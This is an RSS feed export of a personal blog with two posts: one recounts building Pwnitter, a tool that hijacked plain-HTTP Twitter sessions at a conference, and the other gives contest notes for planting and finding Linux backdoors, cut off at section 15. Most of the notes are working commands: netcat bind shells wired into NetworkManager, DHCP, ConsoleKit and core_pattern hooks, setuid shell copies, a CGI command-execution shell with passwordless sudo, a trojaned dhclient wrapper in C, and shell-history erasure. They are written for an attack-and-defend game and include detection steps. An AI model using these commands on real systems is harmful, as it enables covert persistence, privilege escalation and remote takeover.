<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:creativeCommons="http://backend.userland.com/creativeCommonsRssModule">

<channel>
	<title>muellis blog &#187; hacking</title>
	<atom:link href="http://blogs.gnome.org/muelli/category/hacking/feed/" rel="self" type="application/rss+xml" />
	<link>http://blogs.gnome.org/muelli</link>
	<description>…und alle so “Yeaahh!”</description>
	<lastBuildDate>Sun, 22 Jan 2012 16:00:51 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
<creativeCommons:license>http://creativecommons.org/licenses/by-sa/3.0/</creativeCommons:license>		<item>
		<title>Pwnitter</title>
		<link>http://blogs.gnome.org/muelli/2011/09/pwnitter/</link>
		<comments>http://blogs.gnome.org/muelli/2011/09/pwnitter/#comments</comments>
		<pubDate>Sat, 10 Sep 2011 02:43:35 +0000</pubDate>
		<dc:creator>muelli</dc:creator>
				<category><![CDATA[hacking]]></category>
		<category><![CDATA[lang:en]]></category>
		<category><![CDATA[maemo]]></category>
		<category><![CDATA[n900]]></category>
		<category><![CDATA[pwnitter]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[scratchbox]]></category>

		<guid isPermaLink="false">http://blogs.gnome.org/muelli/?p=1523</guid>
		<description><![CDATA[Uh, I totally forgot to blog about a funny thing that happened almost a year ago which I just mentioned slightly *blush*. So you probably know this Internet thing and if you&#8217;re one of the chosen and carefully gifted ones, you confused it with the Web. And if you&#8217;re very special you do this Twitter [...]]]></description>
			<content:encoded><![CDATA[<p>Uh, I totally forgot to blog about a funny thing that happened almost a year ago which I <a href="http://blogs.gnome.org/muelli/2011/01/foss-in-last-edition-2010/">just mentioned slightly</a> *blush*. So you probably know this Internet thing and if you&#8217;re one of the chosen and carefully gifted ones, you confused it with the Web. And if you&#8217;re very special you do this Twitter thing and expose yourself and your communications pattern to some dodgy American company. By now, all of the following stuff isn&#8217;t of much interest anymore, so you might as well quit reading.</p>
<p>It all happenend while being at <a href="http://blogs.gnome.org/muelli/2011/01/foss-in-last-edition-2010/">FOSS.in</a>.  There was a contest run by Nokia which asked us to write some cool application for the N900. So I did. I packaged loads of <a href="http://maemo.org/packages/view/iw/">programs</a> <a href="http://maemo.org/packages/view/python-dpkt/">and</a> <a href="http://maemo.org/packages/view/python-pypcap/">libraries</a> to be able to put the wireless card into monitor mode. Then I wiretapped (haha) the wireless and sniffed for Twitter traffic. Once there was a Twitter session going on, I sniffed the necessary authentication information was extracted and a message was posted on the poor user&#8217;s behalf. I coined that <a href="http://maemo.org/packages/view/pwnitter/">Pwnitter</a>, because it would pwn you via Twitter.</p>
<p><a href="http://twitter.com/bluesmoon/statuses/14946909873504256">That</a> <a href="http://twitter.com/glezos/status/15394165621792769">said</a>, <a href="http://twitter.com/#!/glezos/status/15394165621792769">we</a> <a href="http://twitter.com/hpnadig/statuses/14953298515730432">had</a> <a href="http://twitter.com/SrishAkaTux/status/14955372364173312">great</a> <a href="http://twitter.com/anurag_maher/status/15287490470486016">fun</a> <a href="http://twitter.com/ApurvaTripathi/status/15789274167255040">at</a> <a href="http://twitter.com/Naresh_Kamboju/status/15690943256596480">FOSS.in</a>, <a href="http://twitter.com/Naresh_Kamboju/status/15690943256596480">where</a> <a href="http://twitter.com/anurag1008/status/15661313384521728">nearly</a> <a href="http://twitter.com/mayuraparge/status/15644020906659840">everybodies</a> <a href="http://twitter.com/brainwane/status/15395102801268736">Twitter</a> <a href="http://twitter.com/brainwane/status/15395102801268736">sessions</a> <a href="http://twitter.com/shreyankg/status/14961155600547840">got</a> <a href="http://twitter.com/grbharathram/status/14960648131710976">hijacked</a> <a href="http://twitter.com/arun197/status/14959625166127104"> <img src='http://blogs.gnome.org/muelli/wp-content/mu-plugins/tango-smilies/tango/face-wink.png' alt=';-)' class='wp-smiley' /> </a> <a href="http://twitter.com/bsingharora/status/14955026120187904">Eventually</a>, <a href="http://twitter.com/tuxmaniac/status/14954538637197312">people</a> <a href="http://twitter.com/ankrd/status/14951863380086784">stopped</a> <a href="http://twitter.com/hpnadig/status/14953298515730432">using</a> <a href="http://twitter.com/kraghu306/status/15780519056769026">plain</a> HTTP and moved to end to end encrypted sessions via TLS.</p>
<p>Anyway, my program didn&#8217;t win anything because as it turned out, Nokia wanted to promote <a href="http://en.wikipedia.org/wiki/QML">QML</a> and hence we were supposed to write something that makes use of that. My program barely has a UI&#8230; It is made up of one giant button&#8230;</p>
<p>Despite not getting lucky with Nokia, the community apparently received the thing <a href="http://www.knownokia.ca/2011/01/session-hijacking-from-your-n900.html">very</a> <a href="http://talk.maemo.org/showthread.php?t=68044">well</a>.</p>
<p>So there is an obvious big elephant standing in the room asking why would you want to &#8220;hack&#8221; Twitter. I&#8217;d say it&#8217;s rather easy to answer. The main point being that you should use end to end encryption when doing communication. And the punchline comes now: Don&#8217;t use a service that doesn&#8217;t offer you that by default. Technically, it wouldn&#8217;t be much of a problem to give you an encrypted link to send your messages. However, companies tend to be cheap and let you suffer with a plain text connection which can be easily tapped or worse: manipulated. Think about it. If the company is too frugal to protect your communication from pimpled 13yr olds with a wifi card, why would you want to use their services?</p>
<p>By now Twitter (actually since March 2011, making it more than 6 month ago AFAIK) have SSL enabled by default as far as I can tell. So let&#8217;s not slash Twitter for not offering an encrypted link for more than 5 years (since they were founded back in 2006). But there are loads of other services that suffer from the very same basic problem. Including Facebook. And it would be easy to adapt the existing solution stuff like Facebook, flickr, whatnot.</p>
<p>A noteable exception is Google though. As far as I can see, they offer encryption by default except for the search. If there is an unencrypted link, I invite you to <a href="http://maemo.org/packages/source/view/fremantle_extras-devel_free_source/pwnitter/0.0.3-4/">grab the sources of Pwnitter</a> and build your hack.</p>
<p>If you do so, let me give you an advise as  I was going nuts over a weird problem with my <a href="http://pwnitter.garage.maemo.org/">Pwnitter</a> application for Maemo. It&#8217;s written in Python and when building the package with setuptools the hashbang would automatically be changed to &#8220;<code>#!/scratchbox/tools/bin/python</code>&#8220;, instead of, say, &#8220;<code>/usr/bin/python</code>&#8220;.</p>
<p>I tried tons of things for many hours <a href="http://lists.scratchbox.org/pipermail/scratchbox-users/2005-May/000248.html">until I realised</a>, that <a href="http://bugzilla.scratchbox.org/show_bug.cgi?id=236">scratchbox redirects some binary paths</a>.</p>
<p>However, that did not help me to fix the issue. As it turned out, my problem was that I didn&#8217;t depend on a <a href="http://maemo.org/packages/view/python-runtime/">python-runtime</a> during build time. Hence the build server picked scratchbox&#8217;s python which was located in <code>/scratchbox/bin</code>.</p>
]]></content:encoded>
			<wfw:commentRss>http://blogs.gnome.org/muelli/2011/09/pwnitter/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>LinuxTag Hacking Contest Notes</title>
		<link>http://blogs.gnome.org/muelli/2011/05/linuxtag-hacking-contest-notes/</link>
		<comments>http://blogs.gnome.org/muelli/2011/05/linuxtag-hacking-contest-notes/#comments</comments>
		<pubDate>Mon, 30 May 2011 04:12:01 +0000</pubDate>
		<dc:creator>muelli</dc:creator>
				<category><![CDATA[hacking]]></category>
		<category><![CDATA[lang:en]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[linuxtag]]></category>
		<category><![CDATA[linuxtag2011]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://blogs.gnome.org/muelli/?p=1631</guid>
		<description><![CDATA[As I wrote the other day, I have been to LinuxTag in Berlin. And Almost like last year a Hacking contest took place. The rules were quite the same: Two teams play against each other, each team having a laptop. The game has three rounds of 15 minutes each. In the first round the teams [...]]]></description>
			<content:encoded><![CDATA[<p>As I wrote the other day, <a href="http://blogs.gnome.org/muelli/2011/05/gnome-at-linuxtag-2011/">I have been to LinuxTag</a> in Berlin. And  Almost like <a href="http://blogs.gnome.org/muelli/2010/06/linuxtag-and-cream-desktop/">last year</a> a Hacking contest took place.</p>
<p><a href="http://www.flickr.com/photos/linuxtag/5718484986/" title="LinuxTag 2011 - Hacking Contest by LinuxTag, on Flickr"><img src="http://farm4.static.flickr.com/3020/5718484986_9859daac7b_z.jpg" width="640" height="426" alt="LinuxTag 2011 - Hacking Contest"></a></p>
<p>The rules were quite the same: Two teams play against each other, each team having a laptop. The game has three rounds of 15 minutes each. In the first round the teams swap their laptops so that you have the opponents machine. You are supposed to hide backdoors and other stuff. In the second round the laptops are swapped back and you have to find and remove these backdoors. For the third round the laptops are swapped once again and you can show off what backdoors were left in the system.</p>
<p>So preparation seems to be the obvious key factor for winning. While I did prepare some <a href="http://blogs.gnome.org/muelli/2009/06/g0t-r00t-pwning-a-machine/">notes</a>, they turned out to not be very good for the actual contest, because they are not structured well enough.</p>
<p>Since the game has three rounds, it makes sense to have a structure with three parts as well. Hence I produced a new set of notes with headlines for each backdoor and three parts per section. Namely Hacking, Fixing and Exploiting.</p>
<p>The notes weren&#8217;t all ready just before the contest and  hence we didn&#8217;t score pretty well. But I do think that our notes are quite cool by now though. Next time, when we&#8217;re more used to the situation and hopefully learned through suffering to not make all those tiny mistakes we did, we might play better.</p>
<p>So enjoy the following notes and feel free to give feedback.</p>
<p>Set Keyboard to US English:</p>
<div class="p"></div>
<pre>
setxkbmap&nbsp;us
export&nbsp;HISTFILE=/dev/null
ln&nbsp;-sf&nbsp;~/.bash_history&nbsp;/dev/null
ln&nbsp;-sf&nbsp;~/.viminfo&nbsp;/dev/null

while&nbsp;true;&nbsp;do&nbsp;find&nbsp;/&nbsp;-exec&nbsp;touch&nbsp;{}&nbsp;\;&nbsp;;&nbsp;sleep&nbsp;2;&nbsp;done
</pre>
<div class="p"></div>
<div class="p"></div>
<h2><a name="tth_sEc1"><br />
1</a>&nbsp;&nbsp;passwd new user</h2>
<p><i>Remote</i><br />
<i>root</i></p>
<div class="p"></div>
<h3><a name="tth_sEc1.1"><br />
1.1</a>&nbsp;&nbsp;Hacking</h3>
<p><tt>nano /etc/passwd</tt></p>
<div class="p"></div>
<p>copy and paste root user to a new user, i.e. <tt>hackr</tt>.</p>
<div class="p"></div>
<p><tt>sudo passwd hackr</tt></p>
<div class="p"></div>
<h3><a name="tth_sEc1.2"><br />
1.2</a>&nbsp;&nbsp;Fixing</h3>
<pre>
grep&nbsp;:0:&nbsp;/etc/passwd
</pre>
<div class="p"></div>
<h3><a name="tth_sEc1.3"><br />
1.3</a>&nbsp;&nbsp;Exploiting</h3>
<p>ssh hackr@localhost</p>
<div class="p"></div>
<h2><a name="tth_sEc2"><br />
2</a>&nbsp;&nbsp;dePAMify</h2>
<p><i>Remote</i><br />
<i>root</i></p>
<div class="p"></div>
<h3><a name="tth_sEc2.1"><br />
2.1</a>&nbsp;&nbsp;Hacking</h3>
<div class="p"></div>
<pre>
cd&nbsp;/lib/security/
cp&nbsp;pam_permit.so&nbsp;pam_deny.so
echo&nbsp;&#062;&nbsp;/etc/pam.d/sshd
/etc/init.d/sshd&nbsp;restart
</pre>
<div class="p"></div>
<h3><a name="tth_sEc2.2"><br />
2.2</a>&nbsp;&nbsp;Fixing</h3>
<pre>
too&nbsp;hard
</pre>
<div class="p"></div>
<h3><a name="tth_sEc2.3"><br />
2.3</a>&nbsp;&nbsp;Exploiting</h3>
<p><tt>ssh root@localhost</tt></p>
<div class="p"></div>
<p>enter any password</p>
<div class="p"></div>
<h2><a name="tth_sEc3"><br />
3</a>&nbsp;&nbsp;NetworkManager</h2>
<p><i>Remote</i><br />
<i>root</i></p>
<div class="p"></div>
<h3><a name="tth_sEc3.1"><br />
3.1</a>&nbsp;&nbsp;Hacking</h3>
<pre>
nano&nbsp;/etc/NetworkManager/dispatcher.d/01ifupdown&nbsp;&lt;&lt;EOF
nc.traditional&nbsp;-l&nbsp;-p&nbsp;31346&nbsp;-e&nbsp;/bin/bash&nbsp;&amp;
cp&nbsp;/bin/dash&nbsp;/etc/NetworkManager/dhclient
chmod&nbsp;+s&nbsp;/etc/NetworkManager/dhclient
EOF
</pre>
<div class="p"></div>
<h3><a name="tth_sEc3.2"><br />
3.2</a>&nbsp;&nbsp;Fixing</h3>
<pre>
ls&nbsp;/etc/NetworkManager/dispatcher.d/
</pre>
<div class="p"></div>
<h3><a name="tth_sEc3.3"><br />
3.3</a>&nbsp;&nbsp;Exploiting</h3>
<pre>
less&nbsp;/etc/NetworkManager/dispatcher.d/
</pre>
<div class="p"></div>
<p>Disconnect Network via NetworkManager</p>
<div class="p"></div>
<p>Connect Network via NetworkManager</p>
<div class="p"></div>
<pre>
/etc/NetworkManager/dhclient

netcat&nbsp;localhost&nbsp;31346
</pre>
<div class="p"></div>
<h2><a name="tth_sEc4"><br />
4</a>&nbsp;&nbsp;SSHd</h2>
<p><i>Remote</i><br />
<i>root</i></p>
<div class="p"></div>
<h3><a name="tth_sEc4.1"><br />
4.1</a>&nbsp;&nbsp;Hacking</h3>
<pre>
su&nbsp;-
ssh-keygen
cd
cat&nbsp;.ssh/id_rsa.pub&nbsp;|&nbsp;tee&nbsp;/etc/ssh/authorized_keys
cat&nbsp;.ssh/id_rsa&nbsp;|&nbsp;tee&nbsp;/etc/issue.net
cp&nbsp;/etc/ssh/sshd_config&nbsp;/tmp/
nano&nbsp;/etc/ssh/sshd_config&nbsp;&lt;&lt;EOF
AuthorizedKeysFile&nbsp;/etc/ssh/authorized_keys
Banner&nbsp;/etc/issue.net
EOF

/etc/init.d/ssh&nbsp;reload
mv&nbsp;/tmp/sshd_config&nbsp;/etc/ssh/
</pre>
<div class="p"></div>
<h3><a name="tth_sEc4.2"><br />
4.2</a>&nbsp;&nbsp;Fixing</h3>
<pre>
less&nbsp;/etc/ssh/sshd_config

/etc/init.d/ssh&nbsp;reload
</pre>
<div class="p"></div>
<h3><a name="tth_sEc4.3"><br />
4.3</a>&nbsp;&nbsp;Exploiting</h3>
<pre>
ssh&nbsp;root@localhost&nbsp;2&#062;&nbsp;/tmp/root
chmod&nbsp;u=r,go=&nbsp;$_
ssh&nbsp;&nbsp;-i&nbsp;/tmp/root&nbsp;root@localhost
</pre>
<div class="p"></div>
<h2><a name="tth_sEc5"><br />
5</a>&nbsp;&nbsp;xinetd</h2>
<p><i>Remote</i><br />
<i>root</i></p>
<div class="p"></div>
<h3><a name="tth_sEc5.1"><br />
5.1</a>&nbsp;&nbsp;Hacking</h3>
<div class="p"></div>
<pre>
cp&nbsp;&nbsp;/etc/xinetd.d/chargen&nbsp;&nbsp;/etc/xinetd.d/chargen.bak

nano&nbsp;/etc/xinetd.d/chargen&nbsp;&lt;&lt;EOF

disable&nbsp;=&nbsp;no
DELETE&nbsp;type&nbsp;=&nbsp;INTERNAL
server&nbsp;=&nbsp;/bin/dash
EOF

/etc/init.d/xinetd&nbsp;restart

mv&nbsp;/etc/xinetd.d/chargen.bak&nbsp;&nbsp;/etc/xinetd.d/chargen
</pre>
<div class="p"></div>
<h3><a name="tth_sEc5.2"><br />
5.2</a>&nbsp;&nbsp;Fixing</h3>
<pre>
grep&nbsp;disable&nbsp;&nbsp;/etc/xinetd.d/*&nbsp;|&nbsp;grep&nbsp;no
</pre>
<div class="p"></div>
<h3><a name="tth_sEc5.3"><br />
5.3</a>&nbsp;&nbsp;Exploiting</h3>
<pre>
nc&nbsp;localhost&nbsp;chargen
</pre>
<div class="p"></div>
<h2><a name="tth_sEc6"><br />
6</a>&nbsp;&nbsp;Apache</h2>
<p><i>Remote</i><br />
<i>root</i></p>
<div class="p"></div>
<p>Needs testing</p>
<div class="p"></div>
<h3><a name="tth_sEc6.1"><br />
6.1</a>&nbsp;&nbsp;Hacking</h3>
<pre>
nano&nbsp;/etc/apache2/sites-enabled/000-default

DocumentRoot&nbsp;/
Make&nbsp;&lt;Directory&nbsp;/&#062;&nbsp;&nbsp;and&nbsp;copy&nbsp;allowance&nbsp;from&nbsp;below

/etc/init.d/apache2&nbsp;restart

touch&nbsp;/usr/lib/cgi-bin/fast-cgid
chmod&nbsp;a+rwxs&nbsp;$_
touch&nbsp;/usr/lib/cgi-bin/fast-cgid.empty
chmod&nbsp;a+rwxs&nbsp;$_
nano&nbsp;/usr/lib/cgi-bin/fast-cgid&nbsp;&lt;&lt;EOF
&nbsp;&nbsp;&nbsp;&nbsp;#!/bin/bash
&nbsp;&nbsp;&nbsp;&nbsp;IFS=+
&nbsp;&nbsp;&nbsp;&nbsp;$QUERY_STRING
EOF

nano&nbsp;/etc/sudoers&nbsp;&lt;&lt;EOF
www-data&nbsp;ALL=NOPASSWD:&nbsp;ALL
EOF
</pre>
<div class="p"></div>
<h3><a name="tth_sEc6.2"><br />
6.2</a>&nbsp;&nbsp;Fixing</h3>
<pre>
ls&nbsp;-l&nbsp;/usr/lib/cgi-bin/

nano&nbsp;/etc/apache2/sites-enabled/*

/etc/init.d/apache2&nbsp;restart
</pre>
<div class="p"></div>
<h3><a name="tth_sEc6.3"><br />
6.3</a>&nbsp;&nbsp;Exploiting</h3>
<pre>
links2&nbsp;http://localhost/&nbsp;&nbsp;#&nbsp;Remote&nbsp;file&nbsp;access
links2&nbsp;http://localhost/cgi-bin/fast-cgid?id&nbsp;#&nbsp;Remote&nbsp;command&nbsp;execution
grep&nbsp;NOPASS&nbsp;/etc/sudoers&nbsp;&nbsp;#&nbsp;local&nbsp;privilege&nbsp;escalation
links2&nbsp;http://localhost/cgi-bin/fast-cgid?sudo+id&nbsp;#&nbsp;Remote&nbsp;root&nbsp;command&nbsp;execution

nano&nbsp;/usr/lib/cgi-bin/fast-cgid.empty&nbsp;&lt;&lt;EOF
/bin/dash
EOF

/usr/lib/cgi-bin/fast-cgid.empty&nbsp;#&nbsp;local&nbsp;privilege&nbsp;escalation
</pre>
<div class="p"></div>
<h2><a name="tth_sEc7"><br />
7</a>&nbsp;&nbsp;screen</h2>
<p><i>Local</i><br />
<i>root</i></p>
<div class="p"></div>
<h3><a name="tth_sEc7.1"><br />
7.1</a>&nbsp;&nbsp;Hacking</h3>
<div class="p"></div>
<pre>
sudo&nbsp;chmod&nbsp;u+s&nbsp;/bin/dash
sudo&nbsp;mkdir&nbsp;-p&nbsp;/etc/screen.d/user/
sudo&nbsp;chmod&nbsp;o+rwt&nbsp;/etc/screen.d/user/
#&nbsp;NOW&nbsp;AS&nbsp;USER!!1
SCREENDIR=/etc/screen.d/user/&nbsp;screen
#&nbsp;IN&nbsp;THE&nbsp;SCREEN
dash
C-d
</pre>
<div class="p"></div>
<h3><a name="tth_sEc7.2"><br />
7.2</a>&nbsp;&nbsp;Fixing</h3>
<pre>
ls&nbsp;-l&nbsp;/var/run/screen
rm&nbsp;-rf&nbsp;/var/run/screen/*

sudo&nbsp;lsof&nbsp;|&nbsp;grep&nbsp;-i&nbsp;screen&nbsp;|&nbsp;grep&nbsp;FIFO
rm&nbsp;these&nbsp;files
</pre>
<div class="p"></div>
<h3><a name="tth_sEc7.3"><br />
7.3</a>&nbsp;&nbsp;Exploiting</h3>
<pre>
SCREENDIR=/etc/screen.d/user/&nbsp;screen&nbsp;-x
</pre>
<div class="p"></div>
<h2><a name="tth_sEc8"><br />
8</a>&nbsp;&nbsp;hidden root dash</h2>
<p><i>Local</i><br />
<i>root</i></p>
<div class="p"></div>
<h3><a name="tth_sEc8.1"><br />
8.1</a>&nbsp;&nbsp;Hacking</h3>
<div class="p"></div>
<pre>
cp&nbsp;/bin/dash&nbsp;/usr/bin/pkexec.d
chmod&nbsp;+s&nbsp;!$
cp&nbsp;/bin/dash&nbsp;/etc/init.d/powersaved
chmod&nbsp;+s&nbsp;!$
</pre>
<div class="p"></div>
<h3><a name="tth_sEc8.2"><br />
8.2</a>&nbsp;&nbsp;Fixing</h3>
<pre>
find&nbsp;/&nbsp;\(&nbsp;-perm&nbsp;-4000&nbsp;-o&nbsp;-perm&nbsp;-2000&nbsp;\)&nbsp;-type&nbsp;f&nbsp;-exec&nbsp;ls&nbsp;-la&nbsp;{}&nbsp;\;

rm&nbsp;these&nbsp;files
</pre>
<div class="p"></div>
<h3><a name="tth_sEc8.3"><br />
8.3</a>&nbsp;&nbsp;Exploiting</h3>
<pre>
/etc/init.d/powersaved

/usr/bin/pkexec.d
</pre>
<div class="p"></div>
<h2><a name="tth_sEc9"><br />
9</a>&nbsp;&nbsp;DHCP Hook</h2>
<p><i>Local</i><br />
<i>Remote</i><br />
<i>root</i></p>
<h3><a name="tth_sEc9.1"><br />
9.1</a>&nbsp;&nbsp;Hacking</h3>
<div class="p"></div>
<pre>
nano&nbsp;/etc/dhcp3/dhclient-exit-hooks.d/debug&nbsp;&lt;&lt;EOF
nc.traditional&nbsp;-l&nbsp;-p&nbsp;31347&nbsp;&amp;
cp&nbsp;/bin/dash&nbsp;/var/run/dhclient
chmod&nbsp;+s&nbsp;/var/run/dhclient
EOF
</pre>
<div class="p"></div>
<h3><a name="tth_sEc9.2"><br />
9.2</a>&nbsp;&nbsp;Fixing</h3>
<pre>
ls&nbsp;-l&nbsp;/etc/dhcp3/dhclient-exit-hooks.d/
ls&nbsp;-l&nbsp;/etc/dhcp3/dhclient-enter-hooks.d/
</pre>
<div class="p"></div>
<h3><a name="tth_sEc9.3"><br />
9.3</a>&nbsp;&nbsp;Exploiting</h3>
<p>Reconnect Network via DHCP</p>
<div class="p"></div>
<pre>
/var/run/dhclient

netcat&nbsp;localhost&nbsp;31347
</pre>
<div class="p"></div>
<h2><a name="tth_sEc10"><br />
10</a>&nbsp;&nbsp;ConsoleKit</h2>
<p><i>Local</i><br />
<i>root</i></p>
<div class="p"></div>
<p>Switchen VTs is triggered locally only, although one might argue that switching terminals is done every boot. Hence it&#8217;s kinda automatic.</p>
<div class="p"></div>
<h3><a name="tth_sEc10.1"><br />
10.1</a>&nbsp;&nbsp;Hacking</h3>
<pre>
sudo&nbsp;-s
touch&nbsp;/usr/lib/ConsoleKit/run-seat.d/run-root.ck
chmod&nbsp;a+x&nbsp;/usr/lib/ConsoleKit/run-seat.d/run-root.ck
nano&nbsp;/usr/lib/ConsoleKit/run-seat.d/run-root.ck

#!/bin/sh

chmod&nbsp;u+s&nbsp;/bin/dash
nc.traditional&nbsp;-l&nbsp;-p&nbsp;31337&nbsp;-e&nbsp;/bin/dash&nbsp;&amp;
</pre>
<div class="p"></div>
<h3><a name="tth_sEc10.2"><br />
10.2</a>&nbsp;&nbsp;Fixing</h3>
<p><tt>ls /usr/lib/ConsoleKit/run-seat.d/</tt></p>
<div class="p"></div>
<p>Only one symlink named <tt>udev-acl.ck</tt> is supposed to  be there.</p>
<div class="p"></div>
<h3><a name="tth_sEc10.3"><br />
10.3</a>&nbsp;&nbsp;Exploiting</h3>
<p>ls /usr/lib/ConsoleKit/run-seat.d/</p>
<div class="p"></div>
<p>Switch TTY (Ctrl+Alt+F3)</p>
<div class="p"></div>
<p>execute /bin/dash</p>
<div class="p"></div>
<p><tt>nc IP 31337</tt></p>
<div class="p"></div>
<h2><a name="tth_sEc11"><br />
11</a>&nbsp;&nbsp;SIGSEGV</h2>
<p><i>Local</i><br />
<i>root</i></p>
<div class="p"></div>
<h3><a name="tth_sEc11.1"><br />
11.1</a>&nbsp;&nbsp;Hacking</h3>
<pre>
echo&nbsp;'|/bin/nc.traditional&nbsp;-l&nbsp;-p&nbsp;31335&nbsp;-e&nbsp;/bin/dash'&nbsp;&#062;&nbsp;/proc/sys/kernel/core_pattern
</pre>
<div class="p"></div>
<h3><a name="tth_sEc11.2"><br />
11.2</a>&nbsp;&nbsp;Fixing</h3>
<pre>
cat&nbsp;/proc/sys/kernel/core_pattern
echo&nbsp;core&nbsp;&#062;&nbsp;/proc/sys/kernel/core_pattern
</pre>
<div class="p"></div>
<h3><a name="tth_sEc11.3"><br />
11.3</a>&nbsp;&nbsp;Exploiting</h3>
<pre>
ulimit&nbsp;-c&nbsp;unlimited

sleep&nbsp;1m&nbsp;&amp;&nbsp;pkill&nbsp;-SEGV&nbsp;sleep

nc&nbsp;localhost&nbsp;31335
</pre>
<div class="p"></div>
<h2><a name="tth_sEc12"><br />
12</a>&nbsp;&nbsp;nc wrapper</h2>
<p><i>Remote</i><br />
<i>Local</i><br />
<i>root</i></p>
<h3><a name="tth_sEc12.1"><br />
12.1</a>&nbsp;&nbsp;Hacking</h3>
<div class="p"></div>
<pre>
setxkbmap&nbsp;us
cd&nbsp;/tmp/
cat&nbsp;&#062;&nbsp;dhclient.c&nbsp;&lt;&lt;EOF
#include&nbsp;&lt;unistd.h&#062;

int&nbsp;main&nbsp;(int&nbsp;argc,&nbsp;char*&nbsp;args[])&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;int&nbsp;ret&nbsp;=&nbsp;fork&nbsp;();
&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(ret&nbsp;==&nbsp;0)&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;chmod("/bin/dash",&nbsp;04755);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;execlp&nbsp;("/usr/bin/nc.traditional",&nbsp;"nc.traditional",
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"-l"&nbsp;,"-p",&nbsp;"31339",&nbsp;"-e",&nbsp;"/bin/dash",&nbsp;(char*)&nbsp;NULL);
&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;else
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;execvp("/sbin/dhclient6",&nbsp;args);
&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;0;
}
EOF

/etc/init.d/networking&nbsp;stop&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;Or&nbsp;disable&nbsp;via&nbsp;NotworkManager
make&nbsp;dhclient
cp&nbsp;/sbin/dhclient&nbsp;/sbin/dhclient6
cp&nbsp;dhclient&nbsp;/sbin/dhclient
cp&nbsp;dhclient&nbsp;/etc/cron.hourly/ntpdate
cp&nbsp;dhclient&nbsp;/sbin/mount.btrfs
cp&nbsp;dhclient&nbsp;/usr/lib/cgi-bin/cgi-handler
chmod&nbsp;ug+s&nbsp;/sbin/mount.btrfs&nbsp;/usr/lib/cgi-bin/cgi-handler
rm&nbsp;dhclient.c
/etc/init.d/networking&nbsp;start&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;Or&nbsp;enable&nbsp;via&nbsp;NotworkManager
</pre>
<div class="p"></div>
<h3><a name="tth_sEc12.2"><br />
12.2</a>&nbsp;&nbsp;Fixing</h3>
<div class="p"></div>
<h3><a name="tth_sEc12.3"><br />
12.3</a>&nbsp;&nbsp;Exploiting</h3>
<h4><a name="tth_sEc12.3.1"><br />
12.3.1</a>&nbsp;&nbsp;real dhclient</h4>
<p>Disconnect with Network Manager</p>
<div class="p"></div>
<p>Connect with NetworkManager</p>
<div class="p"></div>
<p><tt>dash</tt></p>
<div class="p"></div>
<p><tt>nc localhost 31339</tt></p>
<div class="p"></div>
<h4><a name="tth_sEc12.3.2"><br />
12.3.2</a>&nbsp;&nbsp;cron</h4>
<p>Just wait. Or reboot.</p>
<div class="p"></div>
<h2><a name="tth_sEc13"><br />
13</a>&nbsp;&nbsp;evbug</h2>
<p><i>Remote</i></p>
<div class="p"></div>
<p>Writes Keycodes to syslog.<br />
Type: 1 are keypresses, and &#8220;code&#8221; is the actual keycode.<br />
<tt>evtest</tt> shows which key maps to which keycode.</p>
<div class="p"></div>
<p>Unfortunately, Debian does not seem to have that module.</p>
<div class="p"></div>
<h3><a name="tth_sEc13.1"><br />
13.1</a>&nbsp;&nbsp;Hacking</h3>
<pre>
modprobe&nbsp;evbug
%FIXME:&nbsp;Maybe&nbsp;pull&nbsp;netconsole

nano&nbsp;/etc/modprobe.d/blacklist.conf
</pre>
<div class="p"></div>
<h3><a name="tth_sEc13.2"><br />
13.2</a>&nbsp;&nbsp;Fixing</h3>
<pre>
modprobe&nbsp;-r&nbsp;evbug
</pre>
<div class="p"></div>
<h3><a name="tth_sEc13.3"><br />
13.3</a>&nbsp;&nbsp;Exploiting</h3>
<div class="p"></div>
<pre>
dmesg&nbsp;|&nbsp;grep&nbsp;&nbsp;"Type:&nbsp;1"
</pre>
<div class="p"></div>
<h2><a name="tth_sEc14"><br />
14</a>&nbsp;&nbsp;Vino</h2>
<p><i>Remote</i></p>
<div class="p"></div>
<h3><a name="tth_sEc14.1"><br />
14.1</a>&nbsp;&nbsp;Hacking</h3>
<pre>
sudo&nbsp;-s
xhost&nbsp;+
nohup&nbsp;/usr/lib/vino/vino-server&nbsp;&amp;
vino-preferences
</pre>
<div class="p"></div>
<h3><a name="tth_sEc14.2"><br />
14.2</a>&nbsp;&nbsp;Fixing</h3>
<pre>
vino-preferences

ps&nbsp;aux&nbsp;|&nbsp;grep&nbsp;vnc
</pre>
<div class="p"></div>
<h3><a name="tth_sEc14.3"><br />
14.3</a>&nbsp;&nbsp;Exploiting</h3>
<p><tt>vncviewer IP</tt></p>
<div class="p"></div>
<h2><a name="tth_sEc15"><br />
15</a>&nbsp;&nbsp;GDM InitScript</h2>
<p><i>Local</i><br />
